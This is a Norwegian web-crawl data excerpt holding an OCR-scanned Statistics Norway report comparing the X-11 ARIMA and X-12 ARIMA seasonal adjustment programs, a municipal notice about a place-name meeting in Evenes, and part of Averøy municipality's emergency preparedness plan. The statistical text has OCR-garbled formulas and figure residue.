er residualene fra regresjonsmodellen ogs\u00e5 korrelerte. Dette f\u00f8rer til at F-test om signifikansen av ukedagseffekter ikke er gyldig fordi fordelingen for F observatoren ikke er F-fordelt lenger. - Trendfilteret som brukes i den f\u00f8rste runden i X-11 ARIMA (sentrert 12 m\u00e5neders glidende gjennonsnittet), er ikke lang nok for \u00e5 fange opp korrelasjonen i lengre periode i data. I X-12 ARIMA bruker man regarima modellen og originale data for \u00e5 estimere ukedagseffekter. For eksempel, regarima modellen for multiplikativ dekomponeringen (dvs Yt = Tt x St x It) er (1 B)d(i B12)1){l og ( N-tic i= 8i (Dit D7t)}= wt (2.5) hvor Op (B)(13p(Bs)c.h\\>t = eq (B)0 Q (13s)et, et iid(0, o-2). (2.5) er en regresjonsmodell hvor feilene Lo t f\u00f8lger en stasjon\u00e6r ARMA modell. Yt er originale data og st\u00e5r for responsvariablene. Sammenligner vi (2.4) og (2.5) ser vi at modellen for estimering av effektene i X-12 ARIMA er mye mer komplisert, men resultatet er mer n\u00f8yaktig enn i X-11 ARIMA. Variablene Djt har en periode 28 \u00e5r eller 336 m\u00e5neder (inntil \u00e5r 2100 og den 29. februar er sl\u00f8yfet). For eksempel, kalenderen i 1996 er akkurat lik kalenderen i Nt er ogs\u00e5 en periodisk variabel med en periode 4 \u00e5r. Derfor kan man anvende spektral analyse for \u00e5 oppdage effekter av ukedager i data. Det viser at hvis h\u00f8ye spisser som forekommer i frekvensene 0,304, 0,348 og 0,432 er det en indikasjon p\u00e5 signifikant effekt. P\u00e5skeeffekt. I modellen antar man en konstant endring j niv\u00e5et av daglig aktivitetet i en periode f\u00f8r p\u00e5skes\u00f8ndag. For hver enkelt m\u00e5ned er regresjonsvariabel E(w ; t) definert slik E(w, t) 1 \\[antall av w dager f\u00f8r p\u00e5skes\u00f8ndag som faller i m\u00e5ned t\\] Antall dager w m\u00e5 angis p\u00e5 forh\u00e5nd. X-12 AMMA kan ikke estimere st\u00f8rrelse ch., etter data som i X4 1 ARIMA. Intervensjoner. I tidsserier har vi sett mange tilfeller av at r\u00e5data er p\u00e5virket av spesielle begivenheter. For eksempel, streik i en fabrikk gj\u00f8r at produksjonen blir redusert i forhold til de foreg\u00e5ende m\u00e5nedene. Lavere bilavgifter som gjaldt fra januar 1996 i Norge, har skapt en \u00f8kning i bilsalget i flere m\u00e5neder. Redusert fartgrense i en by fra tidspunkt to f\u00f8rer til at antall d\u00f8dsfall ved trafikkulykker 11\n\n, er ikke lang nok for \u00e5 fange opp korrelasjonen i lengre periode i data.\")\n\n13 synker. Intervensjoner skaper mange problemer i sesongjustering. (i) R\u00e5data f\u00e5r en bra endring slik at det er vanskelig \u00e5 finne en ARIMA modell som kan gi gode tilpasninger til data. GO Framskrivingene er ikke tilfredsstillende. (iii) Trenden tidspunktene hvor intervensjoner har skjedd, kan gi et falskt bilde av variasjoner i r\u00e5data. En uvanlig h\u00f8y eller lav verdi i to kan endre retningen til trenden i mange tidspunkter som ligger rundt t o. Derfor m\u00e5 intervensjoner fjernes fra data for sesongjusteringen. Merk at det kan v\u00e6re vanskelig \u00e5 finne substansielle forklaringer p\u00e5 alle intervensjoner. Det finnes intervensjoner som bare er registrerte feil, eller som skyldes fiere sammenfallende \u00e5rsaker. I intervensjonanalyse antar vi at en observert tidsserie Yt skrives p\u00e5 form yt f ( t)+ut (2.6) hvor f (t) er intervensjonkomponent som p\u00e5virker tidsserien i punkt t. Avhengig av intervensjonstype har vi en modell for f(t). ut er en uobservert serie som skal estimeres. I X-12 ARIMA er det tre intervensjontyper som kan brukes. Det er Additive Outlier at to (Et spesielt utslag for et bestemt tidspunkt to). Data har en br\u00e5 endring i to. Effekten av en AO type p\u00e5virker data bare i to og forsvinner etter to. Modellen for f (t) er hvor AO t()) f (t) woizioto (2.7) { 1 for t to 0 for t to wo er effekten i tidspunkt to. wo vil vanligvis v\u00e6re ukjent og m\u00e5 estimeres fra data. Fra (2.6) og (2.7) ser vi at ut er lik Yt n\u00e5r t to og de to seriene har en avstand wo i t to. Figur 2.1 viser en simulering for Additive Outliers med to =januar 1981 og w o= enheter. 12\n\n\n\n14 22000 Additive Outlier. t0.---januar justert ---- observert Figur 2.1: En simulering for Additive Outliers Level Shift at to (Niv\u00e5skift ved tidspunkt to). Data ser ut som om serien \u00f8ker eller synker med en st\u00f8rrelse wo fra to og fremover. Modellen for (t) er f (t ) woleo) (2.8) hvor Leo { 1 for t \\< to 0 for t \\> to Fra (2.6) og (2.8) ser vi at Ut er Yt for t \\> to. Etter to er de to seriene forskj\u00f8vet med en konstant. Intervensjoner av typen LS er ikke uvanlig for tidsserier. Figur 2.2 viser en simulering for Level Shift, hvor wo= enheter og to =januar ut er lavere enn Yt med enheter etter januar\n\n\n\n15 Level Shift. t0=januar 1982 justert -- observert /1 r / i ' ' it /1,t \\\\ i 1 i i t\"., I I\\\\ i I, i / i i /.\\\\\\\\ 8000 i,\\\\\\! / k I t i i k i t ti e, I NI. 1 1 / X A 1 i t / \\\\ I , ti t\\_/1... i V ti % I Figur 2.2: En simulering for Level Shift Temporary Ramp between to to ti. Det ser ut som en LS type, men det er to intervensjonstidspunkter to og t i. For to eller etter t i er TR og LS sammenfallende. I mellom t o og ti er (t) en avtagende eller \u00f8kende funksjon av t. Modellen for f (t) er f (t) worpt(to,ti) (2.9) hvor Rpt(to,ti) 1 for t \\< to (t t o)/(ti to ) 1 for to \\< t \\< o for t \\> t L Figur 2.3 viser en simulering for Temporary Ramp, hvor t o er januar 1982 og ti er januar 1983, w0 = enheter. De to kurvene i figurene 2.2 og 2.3 er sammenfallende for tidspunkter utenfor intervallet \\[januar 1982, januar 1983\\]. 14\n\n er f (t) worpt(to,ti) (2.9) hvor Rpt(to,ti) 1 for t \\< to (t t o)/(ti to ) 1 for to \\< t \\< o for t \\> t L Figur 2.\")\n\n16 Temporary ramp.t0=januar 1982, t1=januar 1983 justert observert I' I I 4 1 I k 4 \"'..,/ 1 I 10000,-, i / I \\\\, 1 I 1 / f4 i,-, 1 i 1 1 I II il I 1 t I 1 / \\\\ i 1,/\\\\,, i I i I V i 1 / 1, 1 I / 1 I Ii i I r r /\\\\\\\\ k 1 r e 1iIII ii 1 I 1 1. I \\\\. / N i V 1 l I/ 1 g I i 0/ 1 i r X I i 1 I i v Figur 2.3: En simulering for Temporary Ramp I X42 ARIMA kan man angi tidspunkter for intervensjoner p\u00e5 forh\u00e5nd, for \u00e5 estimere effektene, eller effektene og tidspunktene estimeres samtidig ved data. Vi har de tre typene av intervensjoner AO (Additive Outliers), LS (Level Shift) og TR (Temporary Ramp). LS typen kan ikke estimeres i det forste tidspunktet siden niv\u00e5et av data er ikke kjent. LS kan heller ikke estimeres i det andre og siste tidspunktet siden det ikke kan skilles mellom AO og LS type i disse punktene. Framskriving. Framskrivingene er beregnet ved hjelp av regarima modell. Variablene i regarima modellen kan v\u00e6re AO eller LS outliers, ukedagseffekter, p\u00e5skeeffekt,... Programmet skal ta hensyn til disse variablene i beregningen for framskrivinger. b. \"Sliding spans\" diagnotiske prosedyrer. Form\u00e5let med Sliding spans metoden (utviklet av David F. Findley, Brian C. Monsell, Holly B. Shulman og Marian G. Pugh. 1990) er \u00e5 beregne revisjoner for sesongkomponenten St og sesongjusterte tall At i et bestemt tidspunkt n\u00e5r vi gjentar sesongjusterings prosedyren p\u00e5 opp til fire forskjellige delvis overlappende delmengder av r\u00e5data (s\u00e5kalt \"span\" p\u00e5 engelsk). Hver span er \u00e5 betrakte som en komplett tidsserie og behandles akkurat som de originale data, dvs ukedagseffekter, p\u00e5skeeffekter, intervensjoner er prekorrigert ogs\u00e5 fra data, f\u00f8r St og At estimeres. For eksempel, sesongjusteringen utf\u00f8res fire ganger i intervallene, Dan.74, des.811, \\[jan.75, des.82\\], \\[jan.76, des.83\\] og \\[jan.77, des.84\\]. Sesongkomponentene og de sesondusterte tallene for hvert tidspunkt i fire spans er registrert for \u00e5 beregne revisjoner. span 1 jan.74 jan.81 des.81 span 2 jan.75 jan.81 des.82 span 3 jan.76 jan.81 des.83 span 4 jan.77 jan.81 des.84 15\n\n\n - Nt, {k: m\u00e5ned t er i den k-te span}. - Ni t=fk: m\u00e5ned t og t 1 er i den k-te span}.\")\n\n18 YYtm\" = maxken12,yyt(k) minken12tyyt(k) \\> 0,03 (2.15) Sliding spans og st\u00f8rrelsen Q i X-11 ARIMA. For \u00e5 m\u00e5le kvaliteten av en sesongjustering har Statistics Canada innf\u00f8rt 11 testst\u00f8rrelser M11. Disse Mi-ene har verdi fra 0 til 3, lav verdi indikerer en god kvalitet med 1 som grense for testen (se appendikset for beskrivelse av de 11. m\u00e5l). Et sammenveid m\u00e5l Q for de 11 m\u00e5lene er definert ved Q= hvor wi = wi er vekten for m\u00e5let A. I appendikset er to standard tabeller for vektene wi gjengitt (tabell i og 2). Kriteriet for en god dekomponering er at Q er mindre enn 1. I X-12 ARIMA er sliding spans metoden en m\u00e5te \u00e5 vurdere kvaliteten av sesongjusteringen p\u00e5. Findley og Monsell har gitt eksempler som viser at sliding spans gir bedre evaluering av kvaliteten enn Q. To eksempler er presentert i deres artikkel. Det f\u00f8rste eksemplet er \"Shipments of building papers (SBP). Q-verdien for denne serien er 0,68, som indikerer en god sesongdekomponering. Mens sliding spans har vist at sesongkomponenten, endringen i prosent fra m\u00e5ned til m\u00e5ned og endringen i prosent fra \u00e5r til \u00e5r ikke er stabil for mange m\u00e5neder mot slutten av serien. Ved \u00e5 unders\u00f8ke n\u00e6rmere M10 og M11 ser vi at deres verdier er st\u00f8rre enn Sesongvariasjonene i endepunktene er altfor store og serien b\u00f8r ikke sesongjusteres. Dette er motsatt av konklusjonen vi kommer til basert ph Q. Det andre eksemplet er \"corn-oil production (COP)\". I denne serien er Q 1, 14. Det viser en uakseptabel dekomponering. Mens sliding spans har vist en stabil sesongvariasjon. Grunnen til en h\u00f8y Q-verdi er h\u00f8ye verdier av M1 og M2 3). Det er to m\u00e5l for det relative bidraget fra irreguleerkomponenten. Blant 11 m\u00e5l er M1 og M2 ikke s\u00e5 viktige slik at store verdier av dem kan vise et galt bilde av hele justeringprosessen hvis de andre m\u00e5lene, for eksempel M7- M11 er gode. La - S(%) v\u00e6re prosentandelen m\u00e5neder hvor sesongkomponenten er definert som up\u00e5litelig (dvs Sr\" \\> 0,03). - MM(%) v\u00e6re prosentandel m\u00e5neder hvor MMr\" \\> 0, YY(%) v\u00e6re prosentandel m\u00e5neder hvor YYtni\" \\> 0, 03. Verdiene for S%, MM%, YY% og Q er gitt i tabell Serie Dato Q S(%) MM(%) YY(%) SBP jan.74-des.84 0,68 38,9 52,3 5,2 COP jan.71-aug.85 1,14 1,3 11,3 1,4 Tabell 2.1 viser grenseverdiene for S(%) og MM(%). Resultatet er en d\u00e5rlig sesongjustering for SBP og en motsatt konklusjon for COP. 17\n\n\n\n\n\n21 Tilslutt lister programmet ut en rekke av revisjonene fra januar 1990 til august Revisjonen i et tidspunkt sies \u00e5 v\u00e6re stor hvis lit N j\\> 4%. d. Store muligheter for \u00e5 velge Hendersons filter. Lengden av Hendersons filtre som brukes for \u00e5 beregne trenden i X41 ARIMA og X-12 ARIMA velges automatisk av programmet. Men i X-12,.ARIMA kan en angi p\u00e5 forh\u00e5nd lengden av filteret med et hvilket som helst odde tall (2H + 1). e. Ny opsjon for sesongfilter. Fire filtre 3 x 3, 3 x 5, 3 x 9 og stabilt filter er brukt i X-11 ARIMA og X-12 ARIMA for \u00e5 estimere sesongfaktorer. I X-12 ARIMA er det et 3 x 15 filter i tillegg. Dette filteret har v\u00e6rt brukt i X-11 programmet, men ikke i X-11 ARIMA. f. Pseudo-Additiv dekomponering. I X-11 ARIMA har vi to muligheter for dekomponering av en tidsserie. Det er additiv og multiplikativ modell. La Yt v\u00e6re en observert tidsserie. Yt skrives slik og Yt Tt x St x h multiplikativ modell. Yt -= Tt St \u00b1 It additiv modell. I X-12 ARIMA har vi en ny modell som kalles pseudo-additiv. Modellen brukes for ikkenegative tidsserier hvor Yt har ganske lave verdier i samme m\u00e5neder hvert \u00e5r. Modellen beskrives slik Yt = Tt x (St \u00b1 1) = Tt x (St 1) \u00b1 Tt x (2.17) Vi ser at n\u00e5r Yt 0 er St O. Multiplikativ modell er ikke tilpasset siden sesongjusterte serien At =--- YtiSt har en ugyldig verdi. For pseudo-additiv modell er sesongjusterte tall i. tidspunkt t beregnet ved AtYt Tt (St 1). N\u00e5r St 0 er At Tt siden Yt O. I alt er det fire modeller som kan brukes for sesongdekomponering i X-12 ARIMA. Modell for YtModell At Multiplikativ modell (M) Yt = Tt x St x It At =Ttx\\_It Additiv modell (A) Yt=Tt-f-St+It At = Tt \u00b1 Pseudo-additiv modell (PA) Yt Tt x (St + It 1) At =ToUt Log-additiv modell log(y) Tt St \u00b1 It At = exp(tt It) 20\n\n25 2.3.2 X-12 ARIMA. Vi kan forel\u00f8pig dele manualen i to deler. Del I presenterer en ny, men viktig prosedyre, den s\u00e5kalte regarima modell. Det er regresjonsmodeller hvor feilene er beskrevet med en ARIMA modell. Del II er en beskrivelse for alle kommandoene som brukes for - Input. - Estimering for intervensjoner. - Estimering for arbeidsdageffekter. - Estimering for p\u00e5skeeffekt. - Behandling av ekstreme verdier. - Sesongdekomponering. - Revisjoner. Hver kommando er beskrevet i detaljert i f\u00f8lgende formel Description Usage Arguments Rarely used arguments Details Eksempler En innledning for kommandoen. Lister ut alle parametre som m\u00e5 angis verdier. Detaljerte forklaringer for parametre og en oppsummering for tabeller og filer som kan skrives ut. Lister ut parametre som er sjelden brukt. En veldig detaljert beskrivelse for kommandoer, samt litteratur. Eksempler p\u00e5 bruk av kommandoer. Vi ser at manualen for X41 ARIM.A er skrevet veldig kompakt. Forklaringene for kommadoene er s\u00e5 korte at det blir litt vanskelig \u00e5 forst\u00e5. Dessuten er det bare eksempler for bruk av kommandoene. Brukeren som vil ha manualen m\u00e5 bestille fra Statistics Canada. Manualen for X-12 ARIA.A. er skrevet veldig detaljert. Forklaringene er tydelige og det fins mange eksempler for bruk av kommandoene. Det er en oversikt av tabeller eller filer som kan listes ut. Manualen er en ASCII fil og ligger p\u00e5 internett s\u00e5 er den er lett \u00e5 f\u00e5 tak 2.4 Valget mellom X-11 ARIMA og X-12 ARIMA Det anbefales at SSB tar i bruk X-12 ARIMA som program for sesongjustering. For det f\u00f8rste er det et problem at X-11 ARIMA ikke kan brukes for \u00e5r 2000 og seinere, siden programmet kun leser inn de siste to siffrene i et kalender\u00e5r. Vi vil f\u00e5 en feilmelding hvis \u00e5rtallet til den siste observasjonen er mindre enn \u00e5rstallet til den f\u00f8rste observasjonen. Vi kan g\u00e5 rundt problemet ved \u00e5 endre \u00e5rstallene 28 \u00e5r tilbake, fordi kalenderen har en syklus 28 \u00e5r, men det er ikke en l\u00f8sning som er mulig \u00e5 gjennomf\u00f8re i praksis. X- i ARIMA programmet har v\u00e6rt brukt i over 20 \u00e5r uten store endringer av metoden eller kommandoene. Findley (1990) har vist at de 11 m\u00e5lene M1 Mil for \u00e5 vurdere sesongjusteringen kan i mange tilfeller gi en feilaktig konklusjon om sesongjustering for en tidsserie og F-test for ukedagseffekter kan v\u00e6re ugyldig n\u00e5r F \\< 15. Vi kan ikke beregne revisjoner for trend og for sesongjusterte tall direkte fra programmet. Dessuten kan vi ikke prekorrigere data for intervensjoner. X-12 ARIMA bygger p\u00e5 samme prinsipp som X-11 ARIMA, men med mange forbedringer 24\n\n26 bl.a en ny metode for \u00e5 prekorrigere ukedagseffekter og p\u00e5skeeffekt. Intervensjoner og revisjonen for trend, sesongjusterte tall kan beregnes direkte fra programmet. Vi er vant \u00e5 bruke X-11 ARIMA, derfor er det ikke vanskelig \u00e5 bruke X-12 ARIMA. Dessuten kan programmet kj\u00f8re fra FAME. Manualen er veldig god med mye forklaringer og det er lett \u00e5 f\u00e5 tak i. Det er ikke problem \u00e5 kj\u00f8re X42 ARIMA for \u00e5r 2000 og seinere. 25\n\n28 s\u00f8ndag. For eksempel, d = 3 betyr at skj\u00e6rtorsdag, langfredag og p\u00e5skeaften har innflytelse p\u00e5 r\u00e5data. P\u00e5 grunn av at vi ikke har kunnskap om d, vil vi la d estimeres av programmet fra data. b X-12 ARIMA med prekorrigering bare for ukedagseffekter og p\u00e5skeeffekter men ikke for intervensjoneffekter. En ulempe ved X-12 ARIMA er at d ikke kan estimeres fra data slik som i X-11 ARIMA. Dette tallet m\u00e5 angis p\u00e5 forh\u00e5nd. US Census har jobbet med denne saken. Siden det er vanskelig \u00e5 ha noen a priori oppfatning om verdien p\u00e5 d, bruker vi \u00e5 som er estimert fra X-11 ARIMA for denne kj\u00f8ringen. ARIMA modellen vil estimeres av programmet fra data. Vi fikk som resultat at det er ingen.arima modell som har god nok tilpasning til data. R\u00e5data kan derfor ikke prekorrigeres for ukedagseffektene og p\u00e5skeeffektene. Framskrivingene kan heller ikke beregnes. R\u00e5data b\u00f8r prekorrigeres for disse effektene for serien sesongjusteres. I X-11 ARIMA korrigeres ukedagseffektene og p\u00e5skeeffektene fra r\u00e5data uansett, selv om en ikke finner noen god ARIM.A. modell for data. Men i X-12 ARIMA er det motsatt. Uten ARIMA modell gj\u00f8res det ingen korrigeringer. Ukedagseffektene for en multiplikativ modell har f\u00f8lgende form (se manualen for en mer detaljert framstilling) ( 1 - B 11r\\* 1 2 )110g (-2--Yt) - t 6 i=1 (pit D7t ) Wt hvor tut f\u00f8lge en stasjon\u00e6r ARIMA modell.,,3 1. er effekten for mandager, fi2 er effekten for tirsdager, osv... D 1t, D2t,...D7t er antall mandager, tirsdager, s\u00f8ndager i m\u00e5ned t. Vi ser i denne ligningen at \u00df estimeres n\u00e5r vi har en ARIMA modell for Wt. Vi vil kutte ut denne kj\u00f8ringen fra sammenligningsprosessen fordi det er nesten ingenting \u00e5 sammenligne med X-11 ARIMA. C. X-12 ARIMA med prekorrigering for ukedagseffekter og p\u00e5skeeffekter, men ikke for intervensjoner. For \u00e5 estimere disse effektene og framskrivinger har vi lagt inn i programmet en ARIMA modell som er hentet fra X-11 ARIMA. Forskjellen mellom (b) og (c) er at (c) kj\u00f8res med en bestemt ARIMA modell fra X-11 ARIM.A. d. X-12 ARIMA med prekorrigering for ukedager, p\u00e5ske og intervensjoner. Vi bruker fortsatt samme \u00e5 som i (c), men.lkiiima modellen kan estimeres fra data enn \u00e5 hente den fra X-11 ARIMA. Vi bruker symbolet X11 for X-11 ARIMA, X12(c) og X12(d) for kj\u00f8ringene som er beskrevet i (c) og (d) henholdsvis. X120 betegner b\u00e5de X12(c) og X12(d). 3.1 Resultater. - Ukedagseffekter. - X11: Effektene estimeres ved irregul\u00e6r komponenten It fra den f\u00f8rste runden av sesongjusteringsprosessen. F-test er brukt for signifikansen. En svakhet ved denne metoden 27\n29 Tabell 3.1: Ukedagseffekter. Program X11 X12(c) X12(d) Resultat signifikant i 1,0% niv\u00e5et, F=22,6 signifikant med P-verdi=0,0 signifikant med P-verdi=0,0 er at korrelasjoner mellom leddene It kan v\u00e6re store slik at antagelsen om uavhengig identiske fordeling ikke er tilfredsstillende. Residualene fra regresjonsmodellen for estimering av ukedagseffekter er ogs\u00e5 korrelerte. Fordelingen for F-observatoren f\u00f8lger derfor ikke F fordelingen lenger. Den F-verdien som listes ut fra X-11 ARIMA kan v\u00e6re ugyldig. X12(c) og X12(d): Effektene estimeres ved en ARIMA modell, hvor r\u00e5data er input. Spektralsanalyse og sliding spans teknikken er brukt for \u00e5 f\u00e5 en mer p\u00e5litelig test. Findley (1990) har bevist at F-test i X-11 ARIMA ikke er god nok for \u00e5 teste signifikansen av ukedagseffekter, bortsett fra n\u00e5r F-verdien er stone enn 15. Resultatene fra begge programmer viser at r\u00e5data er p\u00e5virket av ukedagseffekter. De korrigerte faktorene er gitt i tabell A8.B for Xll-ARIMA og i tabell A5 for X-12 ARIMA. P\u00e5skeeffekter. d er estimert ved x-1.1 ARIMA. Vi f\u00e5r ci = 5. Denne verdien brukes ogs\u00e5 i X12(c) og X12(d) for \u00e5 estimere p\u00e5skefaktorene. Testene har vist at p\u00e5skeeffekten er signifikant for X11, X12(c) og X12(d). Tabell 3.2: Peiskeeffekt. Program X11 X12(c) X12(d) Resultat signifikant i 0,0% niv\u00e5et signifikant med t-verdi=-5,6 signifikant med t-verdi=-7,1 P\u00e5skefaktorene i X11, X12(c) og X12(d) er gitt i tabell 3.3. De blanke feltene har verdien 100%. Vi ser at - X-12 ARIMA korrigerer p\u00e5skeeffekter for alle \u00e5rene i serien, mens X-ii ARIMA korrigerer bare \u00e5rene hvor p\u00e5skedagene i ligger i mars eller mellom mars og april. 'Med p\u00e5skedagene mener vi dagene som er p\u00e5virket av p\u00e5skeeffekten. For eksempel, for d 5 er tirsdag, onsdag, skj\u00e6rtorsdag, langfredag, p\u00e5skeaften, p\u00e5skes\u00f8ndag og 2. p\u00e5skedag lik p\u00e5skedagene. 28\n\n", "language": "no", "__index_level_0__": "ea2d3dd3-4bac-48d7-b8b6-c79ddc8b9380"}
{"url": "http://www.evenes.kommune.no/startsiden/nyhetsarkiv/3460-mote-om-stedsnavn", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00630.warc.gz", "warc_date": "2018-03-24T23:09:36Z", "text": "Skrevet av Steinar S\u00f8rensen 22. juni 2014. i kategorien Nyheter\n\nVi inviterer til m\u00f8te om stedsnavn, ESB torsdag 26. kl. 16:30.\n\nHar du et stedsnavn du \u00f8nsker \u00e5 fortelle om, bakgrunnen for navnet og hvor det er? Eller et stedsnavn som du lurer p\u00e5? Eller er du rett og slett interessert i emnet?\n\nDa er dette m\u00f8tet for deg. Mange stedsnavn er registrert av Statens kartverk. Her har vi st\u00f8rst interesse av \u00e5 vite bakgrunnen for navnet, om dette lar seg gj\u00f8re. Fra gammelt av er det en rekke stedsnavn som er i ferd med \u00e5 g\u00e5 i glemmeboken. Disse er nyttig \u00e5 f\u00e5 registrert. Det b\u00f8r v\u00e6re mulig i identifisere plassen i kart, ogs\u00e5 her er opphavet til navnet av interesse.\n\nFor \u00e5 unders\u00f8ke hvilke stedsnavn som er offentlig registrert, her er \\>\\> kart over Evenes med s\u00f8kemulighet for stedsnavn.\u00a0\n\nVi har s\u00e5vidt begynt registrering p\u00e5 hjemmesiden v\u00e5r, \\>\\> ta gjerne en titt.\u00a0\n\n**Velkommen til m\u00f8te om stedsnavn p\u00e5 ESB, stua utenfor kj\u00f8kkenet, kaffen spanderer vi.\u00a0**\n\n", "language": "no", "__index_level_0__": "0651244a-ef4d-4b12-879b-98e6cf8a28fb"}
{"url": "http://docplayer.me/29646538-Overordnet-beredskapsplan-averoy-kommune-revidert-september-2016.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00128.warc.gz", "warc_date": "2018-03-25T00:26:17Z", "text": "# Overordnet beredskapsplan Aver\u00f8y kommune. Revidert september 2016\n\n3 Del 1 Innledning Kommunen har et generelt og grunnleggende ansvar for \u00e5 ivareta befolkningens sikkerhet og trygghet innenfor sitt geografiske omr\u00e5de. Alle u\u00f8nskede hendelser skjer i en kommune, og kommunene utgj\u00f8r det lokale fundamentet i den nasjonale beredskapen og spiller en avgj\u00f8rende rolle i alt beredskapsarbeid. Bestemmelsene om kommunal beredskapsplikt er derfor meget viktig og skal bidra til at kommunen st\u00e5r bedre rustet til \u00e5 forebygge og h\u00e5ndtere u\u00f8nskede hendelser Lovgrunnlag - Kommuneloven. - Lov om kommunal beredskapsplikt av 25. juni Forskrift om kommunal beredskapsplikt med hjemmel i lov av 25. juni 2010 nr. 45 om kommunal beredskapsplikt, sivile beskyttelsestiltak og Sivilforsvaret. I tillegg er det i sektorlovgivningen p\u00e5legg om beredskap innen kommunale tjenesteomr\u00e5der, som helse, velferd og sosiale tjenester, vannforsyning og brannvesen (se vedlegg fagplaner) Sammenheng med andre planer Kommunens planverk er bygget p\u00e5 en overordnet risiko- og s\u00e5rbarhetsanalyse (ROS). Helhetlig ROS for Aver\u00f8y ble sist vedtatt i kommunestyret juni Det finnes flere planverk p\u00e5 de ulike niv\u00e5ene i kommunen. Hver enhet, virksomhet og avdeling har utarbeidet/skal utarbeide sine egne beredskapsplaner som tar hensyn til den overordnede analysen samt krav i Internkontrollforskriften (se vedlegg). F\u00f8lgende modell illustrerer de overordnede planer i kommunens planverk: Kommunal planstrategi (fire\u00e5rig rullering) Kommuneplan (samfunnsdel og arealdel) Kommunedelplaner (tema og areal) Fire\u00e5rige tema- og sektorplaner \u00c5rlig rullering av Resultat- og utviklingsplan/handlingsplaner, budsjett- og \u00f8konomiplan, \u00e5rsmeldinger. 3\n\n4 1.3. Hensikt I henhold til lovgrunnlaget er kommunen ansvarlig for \u00e5 ivareta sikkerheten for sine innbyggere og alle som oppholder seg i kommunen, beskytte samfunnskritisk infrastruktur gjennom systematisk beredskapsarbeid. I dette ligger kartlegging av u\u00f8nskede hendelser i en helhetlig kommunal risiko- og s\u00e5rbarhetsanalyse (ROS), samt utvikling av relevante beredskapsplaner. Overordnet beredskapsplan skal v\u00e6re et verkt\u00f8y for den kommunale kriseledelsen for \u00e5 takle u\u00f8nskede hendelser p\u00e5 best mulig m\u00e5te. Beredskapsplanen skal som et minimum inneholde: a) En plan for kommunens kriseledelse som gir opplysninger om hvem som utgj\u00f8r kriseledelse og deres ansvar, roller og fullmakter, herunder hvem som har fullmakt til \u00e5 bestemme at kriseledelsen skal samles. b) En varslingsliste over akt\u00f8rer som har en rolle i kommunens kriseh\u00e5ndtering. c) En ressursoversikt som skal inneholde opplysninger om hvilke ressurser kommunen selv har til r\u00e5dighet og hvilke ressurser som er tilgjengelige hos andre akt\u00f8rer. d) Evakueringsplaner og plan for befolkningsvarsling, basert p\u00e5 ROS-analysen e) Plan for krisekommunikasjon med befolkningen, media og egne ansatte. Planen skal revideres og \u00f8ves jevnlig M\u00e5l og form\u00e5l Langsiktig m\u00e5l for samfunnssikkerhet og beredskap i vedtatt kommuneplan er: Alle som bor og oppholder seg i Aver\u00f8y skal v\u00e6re trygge p\u00e5 at u\u00f8nskede hendelser eller kriser identifiseres og h\u00e5ndteres. Ved u\u00f8nskede hendelser/ulykker/kriser skal innbyggere gis umiddelbar og riktig informasjon og ber\u00f8rte/p\u00e5r\u00f8rende skal f\u00e5 god omsorg. Kommunens beredskapsplaner skal v\u00e6re oppdaterte. Form\u00e5let med beredskapsplanen er derfor \u00e5 sikre koordinert, strukturert og rask handling uansett n\u00e5r, hvor og hvordan en u\u00f8nsket hendelse inntreffer i kommunen, herunder: - Ivareta innbyggernes sikkerhet, liv og helse. - Sikre samfunnskritisk infrastruktur, tjenesteyting og materielle verdier. - Ivareta informasjonsbehovet til kommunens innbyggere. - Begrense skadevirkninger. - Raskt re-etablere normalsituasjon 4\n\n8 Assisterende r\u00e5dmann (beredskaps- og informasjonsansvarlig) Brannsjefen i Kristiansund og Aver\u00f8y brannvesen Lensmannen i Aver\u00f8y (bindeledd mellom LRS og kriseledelsen) Leder Plan/tekniske tjenester Roller og oppgaver i kriseledelsen Forholdet mellom r\u00e5dmannen og ordf\u00f8rer er det samme i en beredskapssituasjon som til daglig. Ordf\u00f8rer er \u00f8verste leder, har totalansvaret for kommunens kriseledelse/kriseh\u00e5ndtering og er kommunens talsperson. Ordf\u00f8reren m\u00e5 v\u00e6re forberedt p\u00e5 \u00e5 uttale seg til media, i samr\u00e5d med r\u00e5dmannen. R\u00e5dmannen er operativ leder av kommunens kriseledelse. Han/hun skal s\u00f8rge for effektiv utnyttelse av kommunes samlede ressurser i forbindelse med en krise. Han/hun er videre ansvarlig for informasjon til kommunens ansatte. Beredskapsleder (assisterende r\u00e5dmann) Beredskapsleder skal yte lederst\u00f8tte til r\u00e5dmannen og s\u00f8rge for effektiv drift og samordning av kriseledelsen. Beredskapsleder skal v\u00e6re forberedt p\u00e5 \u00e5 stille som kontaktperson (liaison) for politiet. Informasjonsansvarlig (assisterende r\u00e5dmann) Informasjonsansvarlig skal st\u00f8tte ordf\u00f8rer og r\u00e5dmann med informasjons- og mediasaker, herunder tilrettelegge for pressekonferanser, lage utkast til pressemeldinger og mediebudskap, samt holde ledelsen oppdatert p\u00e5 medieoppslag. Lederst\u00f8tten vil ogs\u00e5 omfatte informasjon internt til kommunens ansatte. Beredskapssekretariatet Kriseledelsen benytter kommunens beredskapssekretariat som stab under innsatsen. Beredskapssekretariatet skal v\u00e6re forberedt p\u00e5: - intern og ekstern varsling etter definerte retningslinjer og rutiner - loggf\u00f8ring og rapportering etter fastsatte retningslinjer og rutiner - f\u00f8lge opp tiltak og f\u00f8ringer fra kriseledelsen p\u00e5 en rask og effektiv m\u00e5te - \u00e5 v\u00e6re en administrativ og praktisk st\u00f8ttefunksjon for kriseledelsen 8\n\n9 - motta og bearbeide rapporter fra kommunens virksomheter og fra andre ber\u00f8rte akt\u00f8rer, analysere informasjon og gi r\u00e5d til kriseledelsen om tiltak - ivareta informasjonsflyt i egen virksomhet og mellom ber\u00f8rte akt\u00f8rer - evt. bruke tekniske krisest\u00f8tteverkt\u00f8y (f. eks DSB-CIM) Alle ber\u00f8rte kommunale enheter/stab- og st\u00f8ttefunksjoner skal f\u00f8re egen logg. Alt etter omfanget av hendelsen avgj\u00f8r kriseledelsen om sentrale fagpersoner i organisasjonen skal innkalles som r\u00e5dgivere. Kriseledelsen avgj\u00f8r om det skal s\u00f8kes hjelp fra Sivilforsvaret, Forsvaret, Heimevernet, frivillige hjelpeorganisasjoner, lokale idrettslag eller andre. NB: Dersom lokal redningssentral (LRS) er etablert, m\u00e5 bruk av disse organisasjonene avtales med LRS (politiet). Alle ansatte i kommunen skal v\u00e6re orientert om at hvis de 